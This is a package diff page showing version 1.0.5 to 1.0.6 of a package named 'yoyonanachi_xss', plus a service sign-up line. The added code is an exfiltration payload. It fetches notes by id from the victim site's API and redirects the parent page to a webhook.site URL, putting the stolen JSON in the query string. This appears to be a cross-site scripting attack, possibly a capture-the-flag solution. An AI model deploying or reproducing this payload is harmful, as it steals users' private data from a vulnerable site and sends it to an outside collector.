yoyonanachi_xss 1.0.5 → 1.0.6
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +1 -1
- package/xss.js +2 -2
package/package.json
CHANGED
package/xss.js
CHANGED
@@ -1,3 +1,3 @@
|
|
1
|
-
function xss(){
|
2
|
-
fetch(`api/notes?id
|
1
|
+
function xss(id){
|
2
|
+
fetch(`api/notes?id=`+id).then(res => res.json()).then(data => parent.document.location=`https://webhook.site/5f10e934-1859-4cb9-bd9f-842933dd302d?`+JSON.stringify(data));
|
3
3
|
}
|